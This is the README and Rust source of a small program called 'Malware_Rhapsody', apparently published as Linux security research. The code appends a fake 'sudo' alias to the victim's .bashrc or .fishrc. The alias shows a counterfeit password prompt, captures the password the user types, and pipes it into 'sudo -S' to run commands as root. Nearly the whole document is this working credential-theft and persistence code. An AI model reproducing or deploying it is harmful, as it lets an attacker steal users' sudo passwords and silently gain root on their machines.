Malware_Rhapsody 0.0.1

Small researching of Linux's security for fun and education.. don't be silly to use it in wild. Have a great day, Dear Researcher/Scholar 💯❤️
#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
#![allow(dead_code)]
#![allow(unused)]
// #![feature(macro_metavar_expr)]
#![allow(unused_variables)]
#![allow(non_upper_case_globals)]
#![allow(while_true)]
#[allow(arithmetic_overflow)]
#[allow(temporary_cstring_as_ptr)]
use dirs; use std::io::Write; use std::process::Command;
use std::env;
fn get_arg_in_cmd(key: &str) -> String{
let mut ret = "".to_string();
let args: Vec<_> = env::args().collect();
//let args_2_str = args.as_slice();
for i in 1..args.len(){
    if /*args_2_str[i]*/args[i] == key { return args[i + 1].clone();}
}
return ret;
}
fn checkArg(key: &str) -> bool{
    let len_of_cmd_line = env::args().len();
    let args: Vec<String> = env::args().collect();
    let i: i64 = 0;
    for i in 0..len_of_cmd_line{
        if args[i] == key.to_string(){
            return true;
        }
    }
    return false;
}
fn exec_name() -> String{
    let len_of_cmd_line = env::args().len();
    let args: Vec<String> = env::args().collect();
args[0].clone()

}
fn greets(pswd: String){
    let pswd = pswd.trim_end().trim_start();
    let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S echo 'hey-ho, Dear Researcher, i am..'");
    let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
    .output()
    .expect("can't run command");
if run_command.status.success(){
    std::io::stdout().write_all(&run_command.stdout).unwrap();
} std::io::stderr().write_all(&run_command.stderr).unwrap();
  let me_introduce_mesalf = format!("echo '{pswd}'|sudo -S whoami");
    let run_command = Command::new("bash").arg("-c").arg(me_introduce_mesalf)
    .output()
    .expect("can't run command");
if run_command.status.success(){
    std::io::stdout().write_all(&run_command.stdout).unwrap();
    return;    
} std::io::stderr().write_all(&run_command.stderr).unwrap();
}
fn simplest_trap_fish(){
    let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
    let fish_path = format!("{user_home}/.fishrc");
    let fish_path_bkp = format!("{user_home}/.fishrc.bkp");
    std::fs::copy(&fish_path, fish_path_bkp);
    let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
        Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
    };
    let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $argv'", exec_name());
    fishrc.write(trap.as_bytes());

}
fn simplest_trap_bash(){
    let user_home = match dirs::home_dir(){Some(d) => d, _ => return println!("Can't find User's home..")}.into_os_string().to_str().unwrap().to_string();
    let fish_path = format!("{user_home}/.bashrc");
    let fish_path_bkp = format!("{user_home}/.bashrc.bkp");
    std::fs::copy(&fish_path, fish_path_bkp);
    let mut fishrc = match std::fs::File::options().write(true).append(true).open(fish_path){
        Ok(f) => f, Err(e) => return println!("Trick doesn't fly Thanks to {e:?}")
    };
    let trap = format!("\nalias sudo='echo [sudo] password for root: ;{} -greets $@'", exec_name());
    fishrc.write(trap.as_bytes());

}
fn main() {
    if checkArg("-simplest-trap-fish"){
        simplest_trap_fish();
    }
     if checkArg("-simplest-trap-bash"){
        simplest_trap_bash();
    }
    if checkArg("-greets"){
        let mut pswd = "".to_string();
        std::io::stdin().read_line(&mut pswd);
        greets(pswd)}
    
}